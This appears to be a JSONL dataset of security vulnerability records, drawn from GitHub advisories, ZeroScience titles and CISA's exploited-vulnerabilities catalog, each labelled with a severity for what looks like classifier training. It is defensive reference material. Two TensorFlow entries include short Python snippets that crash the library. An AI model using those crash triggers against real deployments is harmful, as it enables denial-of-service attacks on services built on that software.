-{"id": "fef4d63a784228240581", "text": "Missing Authorization in Apache Airflow\n\nIf remote logging is not used, the worker (in the case of CeleryExecutor) or the scheduler (in the case of LocalExecutor) runs a Flask logging server and is listening on a specific port and also binds on 0.0.0.0 by default. This logging server had no authentication and allows reading log files of DAG jobs. This issue affects Apache Airflow < 2.1.2.", "text_raw": "Missing Authorization in Apache Airflow\n\n[Severity: MEDIUM]\n\nIf remote logging is not used, the worker (in the case of CeleryExecutor) or the scheduler (in the case of LocalExecutor) runs a Flask logging server and is listening on a specific port and also binds on 0.0.0.0 by default. This logging server had no authentication and allows reading log files of DAG jobs. This issue affects Apache Airflow < 2.1.2.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "6529ca79246f3cd336f3", "text": "October CMS Session ID not invalidated after logout\n\n### Impact\nWhen logging out, the session ID was not invalidated. This is not a problem while the user is logged out, but as soon as the user logs back in the old session ID would be valid again; which means that anyone that gained access to the old session cookie would be able to act as the logged in user. This is not a major concern for the majority of cases, since it requires a malicious party gaining access to the session cookie in the first place, but nevertheless has been fixed.\n\n### Patches\nIssue has been patched in Build 472 (v1.0.472) and v1.1.2.\n\n### Workarounds\nApply https://github.com/octobercms/library/commit/642f597489e6f644d4bd9a0c267e864cabead024 to your installation manually if unable to upgrade to Build 472 or v1.1.2.\n\n### References\n- Reported by Anisio (Brazilian Information Security Analyst)\n- http://cve.circl.lu/cve/CVE-2021-3311\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"699\" alt=\"Screen Shot 2021-02-07 at 11 50 35 PM\" src=\"https://user-images.githubusercontent.com/7253840/107180881-51eaf000-699f-11eb-8828-333128faf2a6.png\">", "text_raw": "October CMS Session ID not invalidated after logout\n\n[Severity: CRITICAL]\n\n### Impact\nWhen logging out, the session ID was not invalidated. This is not a problem while the user is logged out, but as soon as the user logs back in the old session ID would be valid again; which means that anyone that gained access to the old session cookie would be able to act as the logged in user. This is not a major concern for the majority of cases, since it requires a malicious party gaining access to the session cookie in the first place, but nevertheless has been fixed.\n\n### Patches\nIssue has been patched in Build 472 (v1.0.472) and v1.1.2.\n\n### Workarounds\nApply https://github.com/octobercms/library/commit/642f597489e6f644d4bd9a0c267e864cabead024 to your installation manually if unable to upgrade to Build 472 or v1.1.2.\n\n### References\n- Reported by Anisio (Brazilian Information Security Analyst)\n- http://cve.circl.lu/cve/CVE-2021-3311\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"699\" alt=\"Screen Shot 2021-02-07 at 11 50 35 PM\" src=\"https://user-images.githubusercontent.com/7253840/107180881-51eaf000-699f-11eb-8828-333128faf2a6.png\">", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-02-10", "split": "train"}
-{"id": "77bcec8cd138e04e7a29", "text": "Valve Steam Client Application v1559/1559 Local Privilege Escalation", "text_raw": "Valve Steam Client Application v1559/1559 Local Privilege Escalation\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-06-29", "split": "train"}
-{"id": "8a1c9289c50b00dde5e6", "text": "XStream is vulnerable to a Remote Command Execution attack\n\n### Impact\nThe vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.16.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-21345](https://x-stream.github.io/CVE-2021-21345.html).\n\n### Credits\n钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "text_raw": "XStream is vulnerable to a Remote Command Execution attack\n\n[Severity: MEDIUM]\n\n### Impact\nThe vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.16.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-21345](https://x-stream.github.io/CVE-2021-21345.html).\n\n### Credits\n钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-22", "split": "train"}
-{"id": "ac5da481d3704f6f8370", "text": "Eclipse Vert.x does not properly neutralize '' (forward slashes) sequences that can resolve to an external location\n\nIn version from 3.0.0 to 3.5.3 of Eclipse Vert.x, the StaticHandler uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\\' (forward slashes) sequences that can resolve to a location that is outside of that directory when running on Windows Operating Systems.", "text_raw": "Eclipse Vert.x does not properly neutralize '' (forward slashes) sequences that can resolve to an external location\n\n[Severity: CRITICAL]\n\nIn version from 3.0.0 to 3.5.3 of Eclipse Vert.x, the StaticHandler uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\\' (forward slashes) sequences that can resolve to a location that is outside of that directory when running on Windows Operating Systems.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "e72c1dfd2e1ed1cb6438", "text": "Uncontrolled deserialization of a pickled object in rediswrapper allows attackers to execute arbitrary scripts\n\nUncontrolled deserialization of a pickled object in models.py in Frost Ming rediswrapper (aka Redis Wrapper) before 0.3.0 allows attackers to execute arbitrary scripts.", "text_raw": "Uncontrolled deserialization of a pickled object in rediswrapper allows attackers to execute arbitrary scripts\n\n[Severity: CRITICAL]\n\nUncontrolled deserialization of a pickled object in models.py in Frost Ming rediswrapper (aka Redis Wrapper) before 0.3.0 allows attackers to execute arbitrary scripts.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-11-20", "split": "train"}
-{"id": "57dce5113757efcad772", "text": "phlyLabs phlyMail Lite 4.03.04 Path Disclosure and Stored XSS Vulnerabilities", "text_raw": "phlyLabs phlyMail Lite 4.03.04 Path Disclosure and Stored XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-01-13", "split": "train"}
-{"id": "a0a4e0cc8f87ecf1a535", "text": "CHECK-fail in tf.raw_ops.EncodePng\n\n### Impact\nAn attacker can trigger a `CHECK` fail in PNG encoding by providing an empty input tensor as the pixel data:\n\n```python\nimport tensorflow as tf\n\nimage = tf.zeros([0, 0, 3])\nimage = tf.cast(image, dtype=tf.uint8) \ntf.raw_ops.EncodePng(image=image) \n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/e312e0791ce486a80c9d23110841525c6f7c3289/tensorflow/core/kernels/image/encode_png_op.cc#L57-L60) only validates that the total number of pixels in the image does not overflow. Thus, an attacker can send an empty matrix for encoding. However, if the tensor is empty, then the associated buffer is `nullptr`. Hence, when [calling `png::WriteImageToBuffer`](https://github.com/tensorflow/tensorflow/blob/e312e0791ce486a80c9d23110841525c6f7c3289/tensorflow/core/kernels/image/encode_png_op.cc#L79-L93), the first argument (i.e., `image.flat<T>().data()`) is `NULL`. This then triggers the `CHECK_NOTNULL` in the [first line of `png::WriteImageToBuffer`](https://github.com/tensorflow/tensorflow/blob/e312e0791ce486a80c9d23110841525c6f7c3289/tensorflow/core/lib/png/png_io.cc#L345-L349).\n\n```cc\ntemplate <typename T>\nbool WriteImageToBuffer(\n    const void* image, int width, int height, int row_bytes, int num_channels,\n    int channel_bits, int compression, T* png_string,\n    const std::vector<std::pair<std::string, std::string> >* metadata) {\n  CHECK_NOTNULL(image);\n  ...\n}\n```\n\nSince `image` is null, this results in `abort` being called after printing the stacktrace. Effectively, this allows an attacker to mount a denial of service attack.\n\n### Patches\nWe have patched the issue in GitHub commit [26eb323554ffccd173e8a79a8c05c15b685ae4d1](https://github.com/tensorflow/tensorflow/commit/26eb323554ffccd173e8a79a8c05c15b685ae4d1).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "CHECK-fail in tf.raw_ops.EncodePng\n\n[Severity: LOW]\n\n### Impact\nAn attacker can trigger a `CHECK` fail in PNG encoding by providing an empty input tensor as the pixel data:\n\n```python\nimport tensorflow as tf\n\nimage = tf.zeros([0, 0, 3])\nimage = tf.cast(image, dtype=tf.uint8) \ntf.raw_ops.EncodePng(image=image) \n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/e312e0791ce486a80c9d23110841525c6f7c3289/tensorflow/core/kernels/image/encode_png_op.cc#L57-L60) only validates that the total number of pixels in the image does not overflow. Thus, an attacker can send an empty matrix for encoding. However, if the tensor is empty, then the associated buffer is `nullptr`. Hence, when [calling `png::WriteImageToBuffer`](https://github.com/tensorflow/tensorflow/blob/e312e0791ce486a80c9d23110841525c6f7c3289/tensorflow/core/kernels/image/encode_png_op.cc#L79-L93), the first argument (i.e., `image.flat<T>().data()`) is `NULL`. This then triggers the `CHECK_NOTNULL` in the [first line of `png::WriteImageToBuffer`](https://github.com/tensorflow/tensorflow/blob/e312e0791ce486a80c9d23110841525c6f7c3289/tensorflow/core/lib/png/png_io.cc#L345-L349).\n\n```cc\ntemplate <typename T>\nbool WriteImageToBuffer(\n    const void* image, int width, int height, int row_bytes, int num_channels,\n    int channel_bits, int compression, T* png_string,\n    const std::vector<std::pair<std::string, std::string> >* metadata) {\n  CHECK_NOTNULL(image);\n  ...\n}\n```\n\nSince `image` is null, this results in `abort` being called after printing the stacktrace. Effectively, this allows an attacker to mount a denial of service attack.\n\n### Patches\nWe have patched the issue in GitHub commit [26eb323554ffccd173e8a79a8c05c15b685ae4d1](https://github.com/tensorflow/tensorflow/commit/26eb323554ffccd173e8a79a8c05c15b685ae4d1).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "f681003ac8525b82fd09", "text": "Cross-site Scripting in yapi-vendor\n\nAn issue was discovered in YMFE YApi 1.3.23. There is stored XSS in the name field of a project.", "text_raw": "Cross-site Scripting in yapi-vendor\n\n[Severity: MEDIUM]\n\nAn issue was discovered in YMFE YApi 1.3.23. There is stored XSS in the name field of a project.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-21", "split": "train"}
-{"id": "29558e5069846ea76061", "text": "NVIDIA Install Application 2.1002.85.551 (NVI2.dll) Unicode Buffer Overflow PoC", "text_raw": "NVIDIA Install Application 2.1002.85.551 (NVI2.dll) Unicode Buffer Overflow PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2012-12-06", "split": "train"}
-{"id": "627eef9881814322e499", "text": "Ansible apt_key module does not properly verify key fingerprint\n\nA flaw was found in Ansible before version 2.2.0.0. The `apt_key` module does not properly verify key fingerprints, allowing remote adversary to create an OpenPGP key which matches the short key ID and inject this key instead of the correct key.", "text_raw": "Ansible apt_key module does not properly verify key fingerprint\n\n[Severity: HIGH]\n\nA flaw was found in Ansible before version 2.2.0.0. The `apt_key` module does not properly verify key fingerprints, allowing remote adversary to create an OpenPGP key which matches the short key ID and inject this key instead of the correct key.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-10", "split": "train"}
-{"id": "ce451e31884f9c5a792c", "text": "Cloud Foundry Routing Improper Input Validation vulnerability\n\nCloud Foundry Routing, all versions before 0.0.0-20191101214924-b1b5c44e050f, does not properly validate nonce input. A remote unauthorized malicious user could forge a route service request using an invalid nonce that will cause the Gorouter to crash.", "text_raw": "Cloud Foundry Routing Improper Input Validation vulnerability\n\n[Severity: HIGH]\n\nCloud Foundry Routing, all versions before 0.0.0-20191101214924-b1b5c44e050f, does not properly validate nonce input. A remote unauthorized malicious user could forge a route service request using an invalid nonce that will cause the Gorouter to crash.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "7a2b8fe296437c2e61c1", "text": "Malicious Package in cuffer-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in cuffer-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "57744cf0baadf84e082f", "text": "Null pointer dereference in `UncompressElement`\n\n### Impact\nThe code for `tf.raw_ops.UncompressElement` can be made to trigger a null pointer dereference:\n\n```python\nimport tensorflow as tf\n\ndata = tf.data.Dataset.from_tensors([0.0])\ntf.raw_ops.UncompressElement(\n  compressed=tf.data.experimental.to_variant(data),\n  output_types=[tf.int64],\n  output_shapes=[2])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/data/experimental/compression_ops.cc#L50-L53) obtains a pointer to a `CompressedElement` from a `Variant` tensor and then proceeds to dereference it for decompressing. There is no check that the `Variant` tensor contained a `CompressedElement`, so the pointer is actually `nullptr`.\n\n### Patches\nWe have patched the issue in GitHub commit [7bdf50bb4f5c54a4997c379092888546c97c3ebd](https://github.com/tensorflow/tensorflow/commit/7bdf50bb4f5c54a4997c379092888546c97c3ebd).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Null pointer dereference in `UncompressElement`\n\n[Severity: HIGH]\n\n### Impact\nThe code for `tf.raw_ops.UncompressElement` can be made to trigger a null pointer dereference: \n\n```python\nimport tensorflow as tf\n\ndata = tf.data.Dataset.from_tensors([0.0])\ntf.raw_ops.UncompressElement(\n  compressed=tf.data.experimental.to_variant(data),\n  output_types=[tf.int64],\n  output_shapes=[2])\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/data/experimental/compression_ops.cc#L50-L53) obtains a pointer to a `CompressedElement` from a `Variant` tensor and then proceeds to dereference it for decompressing. There is no check that the `Variant` tensor contained a `CompressedElement`, so the pointer is actually `nullptr`.\n\n### Patches\nWe have patched the issue in GitHub commit [7bdf50bb4f5c54a4997c379092888546c97c3ebd](https://github.com/tensorflow/tensorflow/commit/7bdf50bb4f5c54a4997c379092888546c97c3ebd).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "adcffc28ae6572d63238", "text": "Malicious Package in commnader\n\nAll versions of `commnader` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in commnader\n\n[Severity: CRITICAL]\n\nAll versions of `commnader` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "93be3de031c4aebd5a51", "text": "OS Command Injection in node-notifier\n\nThis affects the package node-notifier before 8.0.1. It allows an attacker to run arbitrary commands on Linux machines due to the options params not being sanitised when being passed an array.", "text_raw": "OS Command Injection in node-notifier\n\n[Severity: MEDIUM]\n\nThis affects the package node-notifier before 8.0.1. It allows an attacker to run arbitrary commands on Linux machines due to the options params not being sanitised when being passed an array.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-21", "split": "train"}
-{"id": "c5fa4e5941a65cb98f50", "text": "exacqVision 9.8 Unquoted Service Path Privilege Escalation", "text_raw": "exacqVision 9.8 Unquoted Service Path Privilege Escalation\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2019-03-18", "split": "train"}
-{"id": "e524bb109bb3d0fe4e92", "text": "HTTP Request Smuggling in github.com/hyperledger/fabric\n\nA vulnerability has been detected in HyperLedger Fabric v1.4.0, v2.0.0, v2.0.1, v2.3.0. It can easily break down as many orderers as the attacker wants. This bug can be leveraged by constructing a message whose header is invalid to the interface Order. This bug has been admitted and fixed by the developers of Fabric.", "text_raw": "HTTP Request Smuggling in github.com/hyperledger/fabric\n\n[Severity: HIGH]\n\nA vulnerability has been detected in HyperLedger Fabric v1.4.0, v2.0.0, v2.0.1, v2.3.0. It can easily break down as many orderers as the attacker wants. This bug can be leveraged by constructing a message whose header is invalid to the interface Order. This bug has been admitted and fixed by the developers of Fabric.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-03", "split": "train"}
-{"id": "593b0689c3711e0781e6", "text": "Microsoft Win32k Privilege Escalation Vulnerability\n\nAffected: Microsoft Win32k\n\nMicrosoft Win32k contains an unspecified vulnerability that allows for privilege escalation via a crafted application\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-264\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Win32k Privilege Escalation Vulnerability\n\nAffected: Microsoft Win32k\n\nMicrosoft Win32k contains an unspecified vulnerability that allows for privilege escalation via a crafted application\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-264\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "96555bd14fc1ab153ba1", "text": "Use-after-free in actix-codec\n\nAn issue was discovered in the actix-codec crate before 0.3.0-beta.1 for Rust. There is a use-after-free in Framed.", "text_raw": "Use-after-free in actix-codec\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the actix-codec crate before 0.3.0-beta.1 for Rust. There is a use-after-free in Framed.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "810bb4ea1ed78eac481e", "text": "Denial of Service in Elasticsearch\n\nIn Elasticsearch versions before 7.13.3 and 6.8.17 an uncontrolled recursion vulnerability that could lead to a denial of service attack was identified in the Elasticsearch Grok parser. A user with the ability to submit arbitrary queries to Elasticsearch could create a malicious Grok query that will crash the Elasticsearch node.", "text_raw": "Denial of Service in Elasticsearch\n\n[Severity: MEDIUM]\n\nIn Elasticsearch versions before 7.13.3 and 6.8.17 an uncontrolled recursion vulnerability that could lead to a denial of service attack was identified in the Elasticsearch Grok parser. A user with the ability to submit arbitrary queries to Elasticsearch could create a malicious Grok query that will crash the Elasticsearch node.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-09", "split": "train"}
-{"id": "4206e1d6faef5dfd4587", "text": "Inefficient Regular Expression Complexity in taro\n\ntaro is vulnerable to Inefficient Regular Expression Complexity", "text_raw": "Inefficient Regular Expression Complexity in taro\n\n[Severity: HIGH]\n\ntaro is vulnerable to Inefficient Regular Expression Complexity", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "13236268e5b028fce37a", "text": "Promise WebPAM v2.2.0.13 Multiple Remote Vulnerabilities", "text_raw": "Promise WebPAM v2.2.0.13 Multiple Remote Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-03-07", "split": "train"}
-{"id": "b5d84c378548684b0b63", "text": "OsiriX Web Portal 8.0.1 DOM Based XSS", "text_raw": "OsiriX Web Portal 8.0.1 DOM Based XSS\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-12-16", "split": "train"}
-{"id": "a585959cbeb24c84990f", "text": "Cross-site scripting in Centreon\n\nCentreon version 20.10.2 is affected by a cross-site scripting (XSS) vulnerability. The dep_description (Dependency Description) and dep_name (Dependency Name) parameters are vulnerable to stored XSS. A user has to log in and go to the Configuration > Notifications > Hosts page.", "text_raw": "Cross-site scripting in Centreon\n\n[Severity: MEDIUM]\n\nCentreon version 20.10.2 is affected by a cross-site scripting (XSS) vulnerability. The dep_description (Dependency Description) and dep_name (Dependency Name) parameters are vulnerable to stored XSS. A user has to log in and go to the Configuration > Notifications > Hosts page.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "1a5c6c4cf624421fb26b", "text": "Shell command injection in Apache Syncope\n\nIn Apache Syncope 2.1.X releases prior to 2.1.7, when the Flowable extension is enabled, an administrator with workflow entitlements can use Shell Service Tasks to perform malicious operations, including but not limited to file read, file write, and code execution.", "text_raw": "Shell command injection in Apache Syncope\n\n[Severity: HIGH]\n\nIn Apache Syncope 2.1.X releases prior to 2.1.7, when the Flowable extension is enabled, an administrator with workflow entitlements can use Shell Service Tasks to perform malicious operations, including but not limited to file read, file write, and code execution.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "fd24857b88eea4994791", "text": "nb-connect invalidly assumes the memory layout of std::net::SocketAddr\n\nThe nb-connect crate has assumed std::net::SocketAddrV4 and std::net::SocketAddrV6 have the same memory layout as the system C representation sockaddr. It has simply casted the pointers to convert the socket addresses to the system representation. The standard library does not say anything about the memory layout, and this will cause invalid memory access if the standard library changes the implementation. No warnings or errors will be emitted once the change happens.", "text_raw": "nb-connect invalidly assumes the memory layout of std::net::SocketAddr\n\n[Severity: CRITICAL]\n\nThe nb-connect crate has assumed std::net::SocketAddrV4 and std::net::SocketAddrV6 have the same memory layout as the system C representation sockaddr. It has simply casted the pointers to convert the socket addresses to the system representation. The standard library does not say anything about the memory layout, and this will cause invalid memory access if the standard library changes the implementation. No warnings or errors will be emitted once the change happens.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "958c1ec2524b87d7c745", "text": "express-basic-auth Timing Attack due to native string comparison instead of constant time string comparison\n\nVersions of `express-basic-auth` prior to 1.1.7 are vulnerable to Timing Attacks. The package uses native string comparison instead of a constant time string comparison, which may lead to Timing Attacks. Timing Attacks can be used to increase the efficiency of brute-force attacks by removing the exponential increase in entropy gained from longer secrets.\n\n## Recommendation\n\nUpgrade to version 1.1.7 or later.", "text_raw": "express-basic-auth Timing Attack due to native string comparison instead of constant time string comparison\n\n[Severity: LOW]\n\nVersions of `express-basic-auth` prior to 1.1.7 are vulnerable to Timing Attacks. The package uses native string comparison instead of a constant time string comparison, which may lead to Timing Attacks. Timing Attacks can be used to increase the efficiency of brute-force attacks by removing the exponential increase in entropy gained from longer secrets.\n\n\n## Recommendation\n\nUpgrade to version 1.1.7 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-06-06", "split": "train"}
-{"id": "1cf5414a8bbf068423bf", "text": "Cross-site scripting in Swagger-UI\n\nA Cascading Style Sheets (CSS) injection vulnerability in Swagger UI before 3.23.11 allows attackers to use the Relative Path Overwrite (RPO) technique to perform CSS-based input field value exfiltration, such as exfiltration of a CSRF token value. In other words, this product intentionally allows the embedding of untrusted JSON data from remote servers, but it was not previously known that <style>@import within the JSON data was a functional attack method.", "text_raw": "Cross-site scripting in Swagger-UI\n\n[Severity: CRITICAL]\n\nA Cascading Style Sheets (CSS) injection vulnerability in Swagger UI before 3.23.11 allows attackers to use the Relative Path Overwrite (RPO) technique to perform CSS-based input field value exfiltration, such as exfiltration of a CSRF token value. In other words, this product intentionally allows the embedding of untrusted JSON data from remote servers, but it was not previously known that <style>@import within the JSON data was a functional attack method.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-10-15", "split": "train"}
-{"id": "58c81713c5fdd69512dc", "text": "WordPress Social Warfare Plugin Cross-Site Scripting (XSS) Vulnerability\n\nAffected: WordPress Social Warfare Plugin\n\nWordPress Social Warfare plugin contains a cross-site scripting (XSS) vulnerability that allows for remote code execution. This vulnerability affects Social Warfare and Social Warfare Pro.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-79\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "WordPress Social Warfare Plugin Cross-Site Scripting (XSS) Vulnerability\n\nAffected: WordPress Social Warfare Plugin\n\nWordPress Social Warfare plugin contains a cross-site scripting (XSS) vulnerability that allows for remote code execution. This vulnerability affects Social Warfare and Social Warfare Pro.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-79\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "0b7370c7bdbb0f41fad7", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1308, CVE-2019-1335, CVE-2019-1366.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1308, CVE-2019-1335, CVE-2019-1366.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "d46f11ebc3be9cad9927", "text": "Malicious Package in bufver-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in bufver-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "838b59f8f675964a0f84", "text": "Improper Authentication in Flask-AppBuilder\n\n### Impact\nImproper authentication on the REST API. Allows for a malicious actor with a carefully crafted request to successfully authenticate and gain access to existing protected REST API endpoints. Only affects non database authentication types, and new REST API endpoints.\n\n### Patches\nUpgrade to Flask-AppBuilder 3.3.4\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/dpgaspar/Flask-AppBuilder", "text_raw": "Improper Authentication in Flask-AppBuilder\n\n[Severity: HIGH]\n\n### Impact\nImproper authentication on the REST API. Allows for a malicious actor with a carefully crafted request to successfully authenticate and gain access to existing protected REST API endpoints. Only affects non database authentication types, and new REST API endpoints.\n\n### Patches\nUpgrade to Flask-AppBuilder 3.3.4\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/dpgaspar/Flask-AppBuilder", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
